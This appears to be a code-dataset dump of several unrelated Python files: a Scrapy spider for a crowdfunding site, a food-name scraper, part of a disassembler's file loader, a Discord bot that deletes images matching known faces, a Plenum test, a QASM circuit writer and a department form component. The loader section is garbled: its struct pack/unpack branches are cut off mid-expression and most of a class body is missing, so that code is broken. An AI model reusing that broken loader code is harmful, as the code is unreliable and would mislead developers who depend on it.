crowdFundingInverstmentInfo\n \n\n def parse_invertor(self, response):\n # 调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n\n UserPages = response.xpath('//*[@id=\"main\"]/div/div/ul/li[*]/a/@href').extract()\n for i in range(0, len(UserPages)):\n UserPage = ('http://www.dreammove.cn%s' % UserPages[i])\n yield scrapy.Request(url=UserPage, callback=self.parse_invertor_info,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n )\n\n\n\n\n\n\n\n\n def parse_team(self, response):\n crowdfundingTeam = CrowdFundingTeamItem()\n Code = response.url[40:-12]\n Company = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[1]/td[2]/text()').extract_first()\n Representative = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[2]/td[2]/text()').extract_first()\n Capital = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[3]/td[2]/text()').extract_first()\n Location = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[4]/td[2]/text()').extract_first()\n Date = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[5]/td[2]/text()').extract_first()\n Status = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[1]/td[4]/text()').extract_first()\n Amount = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[2]/td[4]/text()').extract_first()\n Category = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[3]/td[4]/text()').extract_first()\n Page = response.xpath('//*[@id=\"main\"]/div[2]/div/table/tr[4]/td[4]/a/text()').extract_first()\n\n # self.logger.info(\"Code: %s\", Code)\n # self.logger.info(\"Company: %s\", Company)\n # self.logger.info(\"Representative: %s\", Representative)\n # self.logger.info(\"Capital: %s\", Capital)\n # self.logger.info(\"Location: %s\", Location)\n # self.logger.info(\"Date: %s\", Date)\n # self.logger.info(\"Status: %s\", Status)\n # self.logger.info(\"Amount: %s\", Amount)\n # self.logger.info(\"Category: %s\", Category)\n # self.logger.info(\"Page: %s\", Page)\n \n crowdfundingTeam[\"Code\"] = Code\n crowdfundingTeam[\"Company\"] = Company\n crowdfundingTeam[\"Representative\"] = Representative\n crowdfundingTeam[\"Capital\"] = Capital\n crowdfundingTeam[\"Location\"] = Location\n crowdfundingTeam[\"Date\"] = Date\n crowdfundingTeam[\"Status\"] = Status\n crowdfundingTeam[\"Amount\"] = Amount\n crowdfundingTeam[\"Category\"] = Category\n crowdfundingTeam[\"Page\"] = Page\n # 通过Pipeline插入数据到数据库中\n yield crowdfundingTeam \n\n \n def parse_item(self, response):\n\n #调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n \n crowdfunding = CrowdFundingItem()\n #众筹编号\n CrowdFundingCode = response.url[42:-5]\n #众筹项目名称\n CrowdFundingName = response.xpath('/html/body/div[2]/div[2]/div/div[2]/div[1]/h1/text()').extract_first()\n if CrowdFundingName is None:\n CrowdFundingName = response.xpath('/html/body/div[2]/div[2]/div/div[2]/div[2]/h1/text()').extract_first()\n if CrowdFundingName is None:\n CrowdFundingName = response.xpath('/html/body/div[2]/div[2]/div/div[2]/h1/text()').extract_first()\n #项目简介\n CrowdFundingIntro = response.xpath('/html/body/div[2]/div[2]/div/div[2]/div[3]/text()').extract_first()\n if CrowdFundingIntro is None:\n CrowdFundingIntro = response.xpath(\"/html/body/div[2]/div[2]/div/div[2]/div[2]/text()\").extract_first()\n if CrowdFundingIntro is not None:\n CrowdFundingIntro = CrowdFundingIntro.strip()\n #项目来源\n CrowdFundingSource = response.xpath('/html/body/div[3]/div/div[1]/span[2]/text()').extract_first()\n if CrowdFundingSource is None:\n CrowdFundingSource = '聚募众筹'\n #项目地区\n CrowdFundingLocation = response.xpath('/html/body/div[2]/div[2]/div/div[3]/div/span[1]/text()').extract_first() \n #项目行业\n CrowdFundingCategory = response.xpath('/html/body/div[2]/div[2]/div/div[3]/div/span[2]/text()').extract_first()\n #浏览数\n CrowdFundingViewAmount = response.xpath('/html/body/div[2]/div[2]/div/div[3]/div/span[3]/var/text()').extract_first()\n #项目估值\n Appraisement = response.xpath('/html/body/div[2]/div[2]/table/tr/td[1]/strong/text()').extract_first()\n #股权比例\n EquityRatio = response.xpath('/html/body/div[2]/div[2]/table/tr/td[2]/strong/text()').extract_first()\n #目标金额\n TargetAmount = response.xpath('/html/body/div[2]/div[2]/table/tr/td[3]/strong/text()').extract_first()\n #起投额\n StartAmount = response.xpath('/html/body/div[2]/div[2]/table/tr/td[4]/strong/text()').extract_first()\n #认投额\n RecognitionAmount = response.xpath('/html/body/div[2]/div[2]/table/tr/td[5]/strong/text()').extract_first()\n #众筹进度\n CrowdFundingProgress = response.xpath('/html/body/div[3]/div/div/div[1]/div/var/text()').extract_first()\n if CrowdFundingProgress is None:\n CrowdFundingProgress = response.xpath('/html/body/div[4]/div/div/div[1]/div/var/text()').extract_first()\n if CrowdFundingProgress is None:\n CrowdFundingProgress = response.xpath('/html/body/div[3]/div/div/div[1]/div/u/text()').extract_first()\n \n \n #项目讨论数\n DiscussAmount = response.xpath('//*[@id=\"qa-count\"]/text()').extract_first()\n #项目动态数\n DynamicAmount = len(response.xpath('//*[@id=\"progress\"]/ul/li[*]/a/u[2]/text()').extract()) \n #项目关注数\n #视频简介\n VideoIntro = response.xpath('//*[@id=\"video\"]/div/iframe/@src').extract_first()\n #商业企划书\n BusinessPlan = response.xpath('//*[@id=\"pdf\"]/div/a/@href').extract_first()\n\n #推荐人\n Recommender = response.xpath('//*[@id=\"recman\"]/div/div[2]/div[1]/u[1]/text()').extract_first()\n #领投人\n Leader = response.xpath('//*[@id=\"lead\"]/div/div[2]/div[1]/a/text()').extract_first()\n if Leader is not None:\n Leader = Leader.strip()\n #领投原因\n LeadReson = response.xpath('//*[@id=\"lead\"]/div/div[2]/div[3]/div[2]/text()').extract_first()\n #领投金额\n #商业模式\n BusinessPatten = u'商业模式: '\n BusinessPattenList = response.xpath('//*[@id=\"business_model\"]/div/p[*]/span/text()').extract()\n if BusinessPattenList is not None:\n BusinessPatten = BusinessPatten + ''.join(BusinessPattenList)\n # self.logger.info(\"BusinessPatten: %s\", BusinessPatten)\n \n \n #商业模式-公司未来规划\n FuturePlan = u'公司未来规划: '\n FuturePlanList = response.xpath('//*[@id=\"plan\"]/div/p[*]/b/text()').extract()\n if FuturePlanList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,FuturePlan,''.join(FuturePlanList)))\n # self.logger.info(\"FuturePlan: %s\", FuturePlan)\n \n \n #商业模式-目标客户\n Customer = u'目标客户: '\n CustomerList = response.xpath('//*[@id=\"custom\"]/div/p[*]/b/text()').extract()\n if CustomerList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,Customer,''.join(CustomerList)))\n # self.logger.info(\"Customer: %s\", ''.join(CustomerList))\n \n #商业模式-同业竞争\n Competitor = u'同业竞争: '\n CompetitorList = response.xpath('//*[@id=\"competitor\"]/div/p[*]/text()').extract()\n if CompetitorList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,Competitor,''.join(CompetitorList)))\n # self.logger.info(\"Competitor: %s\", ''.join(CompetitorList))\n\n #商业模式-竞争优势\n Advantages = u'竞争优势: '\n AdvantagesList = response.xpath('//*[@id=\"advantages\"]/div/p[*]/b/text()').extract()\n if AdvantagesList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,Advantages,''.join(AdvantagesList)))\n # self.logger.info(\"Advantages: %s\", ''.join(AdvantagesList))\n\n #商业模式-盈利模式\n EarnMoney = u'盈利模式: '\n EarnMoneyList = response.xpath('//*[@id=\"earn-money\"]/div/p[*]/b/text()').extract()\n if EarnMoneyList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,EarnMoney,''.join(EarnMoneyList)))\n # self.logger.info(\"EarnMoney: %s\", ''.join(EarnMoneyList))\n\n #商业模式-预期回报\n InvestorRight = u'预期回报: '\n InvestorRightList = response.xpath('//*[@id=\"investor-right\"]/div/text()').extract()\n if InvestorRightList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,InvestorRight,''.join(InvestorRightList)))\n # self.logger.info(\"InvestorRight: %s\", ''.join(InvestorRightList))\n\n #商业模式-资金用途\n SpendMoney = u'资金用途: '\n SpendMoneyList = response.xpath('//*[@id=\"spend-money\"]/div/text()').extract_first()\n if SpendMoneyList is not None:\n BusinessPatten = ('%s%s%s' % (BusinessPatten,SpendMoney,''.join(SpendMoneyList)))\n # self.logger.info(\"SpendMoney: %s\", ''.join(SpendMoneyList))\n\n #风险评级 \n RiskRating = response.xpath('//*[@id=\"main\"]/div[1]/div/div[1]/span/text()').extract_first()\n\n #项目发起人 \n SponsorName = response.xpath('/html/body/div[2]/div[2]/div/div[3]/a[2]/div[1]/text()').extract_first()\n if SponsorName is None:\n SponsorName = response.xpath('/html/body/div[2]/div[2]/div/div[3]/a[2]/div[2]/text()').extract_first()\n\n #发起人主页\n SponsorURL = response.xpath('/html/body/div[2]/div[2]/div/div[3]/a[2]/@href').extract_first()\n if SponsorURL ==\"/profile/index.html\":\n SponsorURL = \"\"\n \n # 输出\n # self.logger.info(\"CRName: %s\", CrowdFundingName)\n # self.logger.info(\"SponsorName: %s\", SponsorName)\n # self.logger.info(\"SponsorURL: %s\", SponsorURL)\n\n self.logger.info(\"CrowdFundingCode: %s\", CrowdFundingCode)\n self.logger.info(\"CrowdFundingName: %s\", CrowdFundingName)\n self.logger.info(\"CrowdFundingIntro: %s\", CrowdFundingIntro)\n self.logger.info(\"CrowdFundingSource: %s\", CrowdFundingSource)\n self.logger.info(\"CrowdFundingLocation: %s\", CrowdFundingLocation)\n self.logger.info(\"CrowdFundingCategory: %s\", CrowdFundingCategory)\n self.logger.info(\"CrowdFundingViewAmount: %s\", CrowdFundingViewAmount)\n self.logger.info(\"CrowdFundingProgress: %s\", CrowdFundingProgress) \n self.logger.info(\"Appraisement: %s\", Appraisement)\n self.logger.info(\"EquityRatio: %s\", EquityRatio)\n self.logger.info(\"TargetAmount: %s\", TargetAmount)\n self.logger.info(\"StartAmount: %s\", StartAmount)\n self.logger.info(\"RecognitionAmount: %s\", RecognitionAmount)\n self.logger.info(\"DiscussAmount: %s\", DiscussAmount)\n self.logger.info(\"DynamicAmount: %s\", DynamicAmount)\n self.logger.info(\"BusinessPlan: %s\", BusinessPlan)\n self.logger.info(\"Recommender: %s\", Recommender)\n self.logger.info(\"Leader: %s\", Leader)\n self.logger.info(\"LeadReson: %s\", LeadReson)\n self.logger.info(\"BusinessPatten: %s\", BusinessPatten)\n\n # 众筹项目信息插入数据库\n crowdfunding[\"CrowdFundingCode\"] = CrowdFundingCode\n crowdfunding[\"CrowdFundingName\"] = CrowdFundingName\n crowdfunding[\"CrowdFundingIntro\"] = CrowdFundingIntro\n crowdfunding[\"CrowdFundingSource\"] = CrowdFundingSource\n crowdfunding[\"CrowdFundingLocation\"] = CrowdFundingLocation\n crowdfunding[\"CrowdFundingCategory\"] = CrowdFundingCategory\n crowdfunding[\"CrowdFundingViewAmount\"] = CrowdFundingViewAmount\n crowdfunding[\"CrowdFundingProgress\"] = CrowdFundingProgress\n crowdfunding[\"Appraisement\"] = Appraisement\n crowdfunding[\"EquityRatio\"] = EquityRatio\n crowdfunding[\"TargetAmount\"] = TargetAmount\n crowdfunding[\"StartAmount\"] = StartAmount\n crowdfunding[\"RecognitionAmount\"] = RecognitionAmount\n crowdfunding[\"DiscussAmount\"] = DiscussAmount\n crowdfunding[\"DynamicAmount\"] = DynamicAmount\n crowdfunding[\"VideoIntro\"] = VideoIntro \n crowdfunding[\"BusinessPlan\"] = BusinessPlan\n crowdfunding[\"Recommender\"] = Recommender\n crowdfunding[\"Leader\"] = Leader\n crowdfunding[\"LeadReson\"] = LeadReson\n crowdfunding[\"BusinessPatten\"] = BusinessPatten\n crowdfunding[\"RiskRating\"] = RiskRating\n \n yield crowdfunding\n \n # 测试数据插入到数据库\n # crowdfunding[\"CrowdFundingName\"] = CrowdFundingName\n # crowdfunding[\"SponsorName\"] = SponsorName\n # crowdfunding[\"SponsorURL\"] = SponsorURL \n # yield crowdfunding\n\n\n\n\n\n\n\n\n\n\n\n # 处理超时、DNS解析错误、http错误\n def errback_httpbin(self, failure):\n # log all failures\n self.logger.error(repr(failure))\n\n # in case you want to do something special for some errors,\n # you may need the failure's type:\n\n if failure.check(HttpError):\n # these exceptions come from HttpError spider middleware\n # you can get the non-200 response\n response = failure.value.response\n self.logger.error('HttpError on %s', response.url)\n\n elif failure.check(DNSLookupError):\n # this is the original request\n request = failure.request\n self.logger.error('DNSLookupError on %s', request.url)\n\n elif failure.check(TimeoutError, TCPTimedOutError):\n request = failure.request\n self.logger.error('TimeoutError on %s', request.url)\n\n\n \n \n\n","sub_path":"DreammoveCrawler/spiders/DreammoveCrawler.py","file_name":"DreammoveCrawler.py","file_ext":"py","file_size_in_byte":26782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"427026024","text":"# -*- coding: utf-8 -*-\nfrom urllib2 import urlopen\nfrom urllib2 import HTTPError\nfrom urllib2 import URLError\nfrom bs4 import BeautifulSoup\nimport sys\nimport codecs # for file manip\n\n# k = 4, m = 2, n = 2, s = 4, t = 3\n\ninsertion_index = 38\nbase_url = \"http://www.oksfood.com/jp/name/jp_name.html\"\ncounter = 0\nchar = 'a'\nja_file = codecs.open(\"ja.txt\",\"w\",\"utf-8\")\nen_file = codecs.open(\"en.txt\",\"w\",\"utf-8\")\nwhile counter != 26:\n new_url = base_url[:insertion_index] + '_' + char + base_url[insertion_index:]\n new_url_with_page_num = \"\"\n\n # Iterate through pages with the same letter e.g. a, a2, a3\n page_counter = 1\n limitation = 1\n\n if char in {'a', 'm', 'n'}:\n limitation = 2\n elif char in {'k', 's'}:\n limitation = 4\n elif char == 't':\n limitation = 3\n else:\n limitation = 1\n\n while page_counter <= limitation:\n if page_counter == 1:\n new_url_with_page_num = new_url\n page_counter += 1\n print(new_url_with_page_num)\n else:\n new_url_with_page_num = new_url[:insertion_index+2] + str(page_counter) + new_url[insertion_index+2:]\n page_counter += 1\n print(new_url_with_page_num)\n try:\n html = urlopen(new_url_with_page_num)\n bsObj = BeautifulSoup(html.read(), \"lxml\")\n tables = bsObj.findAll(\"table\", {\"border\":\"1\"})\n\n # Iterate through all the tables\n table_counter = 0\n while True:\n try:\n table = tables[table_counter]\n except IndexError as e:\n #print(table_counter, e)\n break\n else:\n rows = table.findAll(\"tr\")\n ja_text = rows[1].td.get_text()\n ja_file.write(ja_text + \"\\n\")\n en_text = rows[2].findAll(\"td\")[1].get_text()\n en_file.write(en_text + \"\\n\")\n table_counter += 1\n #tr = table[1000].findAll(\"tr\")[1]\n except Exception as e:\n print(e)\n break\n\n char = chr(ord(char) + 1)\n counter += 1\n","sub_path":"scrapingtest.py","file_name":"scrapingtest.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"390315644","text":"\"\"\"\n Peasauce - interactive disassembler\n Copyright (C) 2012-2017 Richard Tew\n Licensed using the MIT license.\n\"\"\"\n\nfrom dataclasses import dataclass\nimport io\nimport logging\nimport os\nimport struct\nfrom typing import Any, IO, List, Optional, Tuple\n\nfrom . import amiga\nfrom . import atarist\nfrom . import binary\nfrom . import human68k\nfrom . import snes\nfrom . import zxspectrum\nfrom . import constants\nfrom .constants import Endian\n\n\nlogger = logging.getLogger(\"loader\")\n\n\nsystems_by_name = {}\n\ndef _generate_module_data():\n global systems_by_name\n for module in (amiga, atarist, human68k, binary, snes, zxspectrum):\n system_name = module.__name__\n systems_by_name[system_name] = module.System(system_name)\n_generate_module_data()\n\ndef get_system(system_name):\n return systems_by_name[system_name]\n\ndef get_system_data_types(system_name: str) -> \"DataTypes\":\n system = systems_by_name[system_name]\n return DataTypes(system.endian_id)\n\ndef load_file(input_file, file_name, loader_options=None, file_offset=0, file_length=None) -> Optional[Tuple[\"FileInfo\", \"DataTypes\"]]:\n for system_name, system in systems_by_name.items():\n file_info = FileInfo(system, file_name, loader_options)\n data_types = get_system_data_types(system_name)\n if system.load_input_file(input_file, file_info, data_types, f_offset=file_offset, f_length=file_length):\n return file_info, data_types\n\ndef identify_file(input_file, file_name, file_offset=0, file_length=None):\n matches = []\n for system_name, system in systems_by_name.items():\n file_info = FileInfo(system, file_name)\n data_types = get_system_data_types(system_name)\n system_matches = system.identify_input_file(input_file, file_info, data_types, f_offset=file_offset, f_length=file_length)\n matches.extend(((file_info, match, system) for match in system_matches))\n\n if len(matches):\n # For now take the match we are most confident in.\n matches.sort(key = lambda v: v[1].confidence)\n file_info, match, system = matches[0]\n\n if match.file_format_id != constants.FileFormat.UNKNOWN and match.confidence != constants.MATCH_NONE:\n result = {}\n result[\"processor\"] = system.get_processor_id()\n result[\"platform\"] = match.platform_id\n result[\"filetype\"] = match.file_format_id\n result[\"endian\"] = system.endian_id\n return file_info, result\n\n\nSEGMENT_TYPE_CODE = 1\nSEGMENT_TYPE_DATA = 2\nSEGMENT_TYPE_BSS = 3\n\n\n@dataclass\nclass Segment:\n type: int\n file_offset: int\n data_length: int\n length: int\n address: int\n cached_data: Any\n\n\ndef get_segment_type(segments, segment_id):\n return segments[segment_id].type\n\ndef get_segment_data_file_offset(segments, segment_id):\n return segments[segment_id].file_offset\n\ndef get_segment_data_length(segments, segment_id):\n return segments[segment_id].data_length\n\ndef get_segment_length(segments, segment_id):\n return segments[segment_id].length\n\ndef get_segment_address(segments, segment_id):\n return segments[segment_id].address\n\ndef get_segment_data(segments, segment_id):\n return segments[segment_id].cached_data\n\ndef is_segment_type_code(segments, segment_id):\n return segments[segment_id].type == SEGMENT_TYPE_CODE\n\ndef is_segment_type_data(segments, segment_id):\n return segments[segment_id].type == SEGMENT_TYPE_DATA\n\ndef is_segment_type_bss(segments, segment_id):\n return segments[segment_id].type == SEGMENT_TYPE_BSS\n\ndef cache_segment_data(input_file: io.RawIOBase, segments: List[Any], segment_id: int, base_file_offset: int=0) -> None:\n \"\"\"\n base_file_offset: when the input file is located within a containing file.\n \"\"\"\n data = None\n file_offset = get_segment_data_file_offset(segments, segment_id)\n # No data for segments that have no data..\n if file_offset != -1:\n file_length = get_segment_data_length(segments, segment_id)\n\n input_file.seek(base_file_offset + file_offset, os.SEEK_SET)\n file_data = bytearray(file_length)\n if input_file.readinto(file_data) == file_length:\n # NOTE(rmtew): Python 2, type(data[0]) is str. Python 3, type(data[0]) is int\n data = memoryview(file_data)\n else:\n logger.error(\"Unable to cache segment %d data, got %d bytes, wanted %d\", segment_id, len(file_data), file_length)\n segments[segment_id].cached_data = data\n\ndef relocate_segment_data(segments, data_types, relocations, relocatable_addresses, relocated_addresses):\n for segment_id in range(len(segments)):\n # Generic longword-based relocation.\n data = get_segment_data(segments, segment_id)\n local_address = get_segment_address(segments, segment_id)\n for target_segment_id, local_offsets in relocations[segment_id]:\n target_address = get_segment_address(segments, target_segment_id)\n for local_offset in local_offsets:\n value = data_types.uint32_value(data[local_offset:local_offset+4])\n address = value + target_address\n relocated_addresses.setdefault(address, set()).add(local_address + local_offset)\n relocatable_addresses.add(local_address + local_offset)\n data[local_offset:local_offset+4] = data_types.uint32_value_as_string(address)\n\n\ndef has_segment_headers(system_name):\n return get_system(system_name).has_segment_headers()\n\ndef get_segment_header(system_name, segment_id, data):\n return get_system(system_name).get_segment_header(segment_id, data)\n\ndef get_data_instruction_string(system_name, segments, segment_id, data_size, with_file_data):\n segment_type = get_segment_type(segments, segment_id)\n is_bss_segment = segment_type == SEGMENT_TYPE_BSS\n return get_system(system_name).get_data_instruction_string(data_size, is_bss_segment, with_file_data)\n\n\ndef get_load_address(file_info):\n return file_info.load_address\n\ndef get_entrypoint_address(file_info):\n #if file_info.entrypoint_address is not None:\n # return file_info.entrypoint_address\n return get_segment_address(file_info.segments, file_info.entrypoint_segment_id) + file_info.entrypoint_offset\n\n\nclass DataTypes(object):\n def __init__(self, endian_id):\n self.endian_id = endian_id\n self._endian_char = [ \"<\", \">\" ][endian_id == Endian.BIG]\n\n s = b\"12345\"\n bs = bytearray(s)\n mv = memoryview(bs)\n if type(mv[0]) is int:\n self.uint8_value = self._uint8_value3\n else:\n self.uint8_value = self._uint8_value2\n\n ## Data access related operations.\n\n def sized_value(self, data_size, bytes, idx=None):\n if data_size == constants.DATA_TYPE_DATA32:\n return self.uint32_value(bytes, idx)\n elif data_size == constants.DATA_TYPE_DATA16:\n return self.uint16_value(bytes, idx)\n elif data_size == constants.DATA_TYPE_DATA08:\n return self.uint8_value(bytes, idx)\n raise Exception(\"unsupported size\", data_size)\n\n def _uint8_value2(self, bytes, idx=0):\n return self.uint8(bytes[idx])\n\n def _uint8_value3(self, bytes, idx=0):\n return bytes[idx]\n\n def uint16_value(self, bytes, idx=0):\n return self.uint16(bytes[idx:idx+2])\n\n def uint32_value(self, bytes, idx=0):\n try:\n return self.uint32(bytes[idx:idx+4])\n except:\n pass\n\n def uint32_value_as_string(self, v):\n if self.endian_id == Endian.BIG:\n return struct.pack(\">I\", v)\n else:\n return struct.pack(\"H\", s)[0]\n else:\n return struct.unpack(\"h\", s)[0]\n else:\n return struct.unpack(\"I\", s)[0]\n else:\n return struct.unpack(\"i\", s)[0]\n else:\n return struct.unpack(\"B\", s)[0]\n else:\n return struct.unpack(\"b\", s)[0]\n else:\n return struct.unpack(\" 0:\n segment_address = get_segment_address(self.segments, segment_id-1) + get_segment_length(self.segments, segment_id-1)\n\n segment = Segment(segment_type, file_offset, data_length, segment_length, segment_address, None)\n self.segments.append(segment)\n\n self.relocations_by_segment_id.append(relocations)\n self.symbols_by_segment_id.append(symbols)\n\n def set_entrypoint(self, segment_id, offset):\n self.entrypoint_segment_id = segment_id\n self.entrypoint_offset = offset\n\n ## Segment querying related operations\n\n\nclass BinaryFileOptions:\n is_binary_file = True\n processor_id: Optional[int] = None\n load_address: Optional[int] = None\n entrypoint_segment_id: int = 0\n entrypoint_offset: Optional[int] = None\n","sub_path":"python/loaderlib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"558196115","text":"import face_recognition\nimport urllib.request\nimport urllib.error\nimport os\nimport discord\nimport asyncio\n\n\ndef is_known_face(url):\n request = urllib.request.Request(url, data=None, headers={\n 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0'\n })\n\n response = urllib.request.urlopen(request)\n\n unknown_face = face_recognition.load_image_file(response)\n unknown_encoding = face_recognition.face_encodings(unknown_face)[0]\n\n return True in face_recognition.compare_faces(known_encodings, unknown_encoding)\n\n\ndef get_known_encodings():\n for filename in os.listdir(KNOWN_FACES_DIR):\n known_face = face_recognition.load_image_file(KNOWN_FACES_DIR + '/' + filename)\n known_encodings.append(face_recognition.face_encodings(known_face)[0])\n\n\ndef start_discord_bot():\n client = discord.Client()\n\n @client.event\n async def on_ready():\n print(f'Logged in as {client.user.name}#{client.user.discriminator}')\n\n activity = discord.Activity(type=discord.ActivityType.watching, name='your every move')\n await client.change_presence(activity=activity)\n\n @client.event\n async def on_message(message):\n image_file_extensions = ('png', 'jpg', 'jpeg')\n not_allowed = False\n\n for attachment in message.attachments:\n if attachment.url.endswith(image_file_extensions) and is_known_face(attachment.url):\n not_allowed = not_allowed or True\n\n for embed in message.embeds:\n if embed.type == 'image' and is_known_face(embed.url):\n not_allowed = not_allowed or True\n\n if not_allowed:\n await message.delete()\n sent_message = await message.channel\\\n .send(f'<@{message.author.id}> This image is not allowed on this server!')\n\n await asyncio.sleep(10)\n await sent_message.delete()\n\n client.run(DISCORD_TOKEN)\n\n\ndef has_embedded_image(message):\n for embed in message.embeds:\n if embed.type == 'image':\n return True\n\n return False\n\n\nif __name__ == '__main__':\n KNOWN_FACES_DIR = 'images'\n DISCORD_TOKEN = os.environ['DISCORD_TOKEN']\n\n known_encodings = []\n get_known_encodings()\n\n start_discord_bot()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"209237863","text":"from functools import partial\n\nimport pytest\nfrom plenum.common.util import adict\n\nfrom plenum.test.malicious_behaviors_node import makeNodeFaulty, \\\n delaysPrePrepareProcessing, \\\n changesRequest\n\nnodeCount = 7\n# f + 1 faults, i.e, num of faults greater than system can tolerate\nfaultyNodes = 3\nwhitelist = ['InvalidSignature',\n 'cannot process incoming PREPARE']\n\n\n@pytest.fixture(scope=\"module\")\ndef setup(startedNodes):\n A = startedNodes.Alpha\n B = startedNodes.Beta\n G = startedNodes.Gamma\n for node in A, B, G:\n makeNodeFaulty(node,\n changesRequest,\n partial(delaysPrePrepareProcessing, delay=60))\n node.delaySelfNomination(10)\n return adict(faulties=(A, B, G))\n\n\n@pytest.fixture(scope=\"module\")\ndef afterElection(setup, up):\n for n in setup.faulties:\n for r in n.replicas:\n assert not r.isPrimary\n\n\ndef testNumOfPrepareWithFPlusOneFaults(afterElection, noRetryReq, prepared1):\n pass\n","sub_path":"plenum/test/node_request/test_prepare/test_num_of_prepare_with_f_plus_one_faults.py","file_name":"test_num_of_prepare_with_f_plus_one_faults.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"518109878","text":"import re\nfrom circuit_simulation.gates.gate import SingleQubitGate, TwoQubitGate\n\n\nTWOQUBITGATELOOKUP = {\n 'CPhase': ('c-z', 'n-cz'),\n 'CNOT': ('cnot', 'n-cnot'),\n 'Swap': ('swap', 'swap'),\n}\n\n\ndef create_qasm_file(self, meas_error):\n \"\"\"\n Method constructs a qasm file based on the 'self._draw_order' list. It returns the file path to the\n constructed qasm file.\n\n Parameters\n ----------\n meas_error : bool\n Specify if there has been introduced an measurement error on purpose to the QuantumCircuit object.\n This is needed to create the proper file name.\n \"\"\"\n file_path = self._absolute_file_path_from_circuit(meas_error, kind=\"qasm\")\n ansi_escape = re.compile(r'\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')\n file = open(file_path, 'w')\n\n file.write(\"\\tdef meas,0,'M'\\n\")\n file.write(\"\\tdef n-meas,0,'\\widetilde{M}'\\n\")\n file.write(\"\\tdef bell,1,'B'\\n\")\n file.write(\"\\tdef n-bell,1,'\\widetilde{B}'\\n\\n\")\n file.write(\"\\tdef n-cnot,1,'\\widetilde{X}'\\n\")\n file.write(\"\\tdef n-cz,1,'\\widetilde{Z}'\\n\")\n file.write(\"\\tdef n-cnot,1,'\\widetilde{X}'\\n\")\n file.write(\"\\tdef n-x,0,'\\widetilde{X}'\\n\")\n file.write(\"\\tdef n-h,0,'\\widetilde{H}'\\n\")\n file.write(\"\\tdef n-y,0,'\\widetilde{Y}'\\n\")\n\n for i in range(len(self._qubit_array)):\n file.write(\"\\tqubit \" + str(i) + \"\\n\")\n\n file.write(\"\\n\")\n\n for draw_item in self._draw_order:\n operation = draw_item[0]\n qubits = draw_item[1]\n noise = draw_item[2]\n\n if type(operation) in [SingleQubitGate]:\n operation = operation.representation\n\n if type(operation) == str:\n operation = ansi_escape.sub(\"\", operation)\n operation = operation.lower()\n\n if type(qubits) == tuple:\n if type(operation) == TwoQubitGate:\n operation = TWOQUBITGATELOOKUP[operation.name][1 if noise else 0]\n elif '#' in operation:\n operation = 'bell' if not noise else \"n-bell\"\n tqubit = qubits[0]\n cqubit = qubits[1]\n file.write(\"\\t{} {},{}\\n\".format(operation, cqubit, tqubit))\n elif \"m\" in operation:\n file.write(\"\\tmeasure {}\\n\".format(qubits[0]))\n elif 'level' in operation.lower():\n pass\n else:\n operation = operation if not noise else \"n-\" + operation\n file.write(\"\\t{} {}\\n\".format(operation, qubits))\n\n file.close()\n\n return file_path","sub_path":"circuit_simulation/_draw/draw_circuit_latex.py","file_name":"draw_circuit_latex.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"555500080","text":"#-*- coding: latin-1 -*-\r\n\r\nfrom pts.vzGrid import *\r\nfrom pts.vzReport import *\r\nfrom pyramid.view import view_config\r\nfrom pts.vzComponents import *\r\nfrom pts.login.views import jsonLogin\r\nfrom pts.financial.settings import VETORZERO_ID, LOBO_ID\r\nfrom xlwt.Workbook import *\r\nfrom xlwt.Style import *\r\nfrom pyramid.response import Response\r\nfrom pts.utils import exportXLS\r\nimport uuid\r\nfrom pts.vzLog import log_view\r\nfrom pts.settings import PLANILHAS_PATH\r\n\r\nclass DepartmentxDeparment(vzOneToManyComponent):\r\n\r\n type = \"multiple\"\r\n\r\n name = \"departamento\"\r\n\r\n table_name = \"department_x_department\"\r\n\r\n fields = {\r\n \"id\" : ['hidden', False,False, 'department_x_department.department_id_parent'],\r\n \"Departamento Pai\" : [\"select\", True, False,\"department_x_department.department_id_parent\"],\r\n }\r\n\r\n list_field = [\"id\", \"Departamento Pai\"]\r\n\r\n form_select_sql = {\"Departamento Pai\":\"SELECT department_id , department_desc FROM department ORDER BY department_desc\"}\r\n\r\n select_related_sql = \"\"\"SELECT d.department_id, d.department_id FROM department_x_department dd LEFT JOIN department d ON d.department_id = dd.department_id_parent WHERE dd.department_id_child = %s ORDER BY d.department_desc\"\"\"\r\n\r\n key_field = \"Departamento Pai\"\r\n\r\n delete_sql = \"DELETE FROM department_x_department WHERE department_id_child = %s AND department_id_parent = %s\"\r\n\r\n order = 1\r\n\r\n father_field = \"department_id_parent\"\r\n\r\n 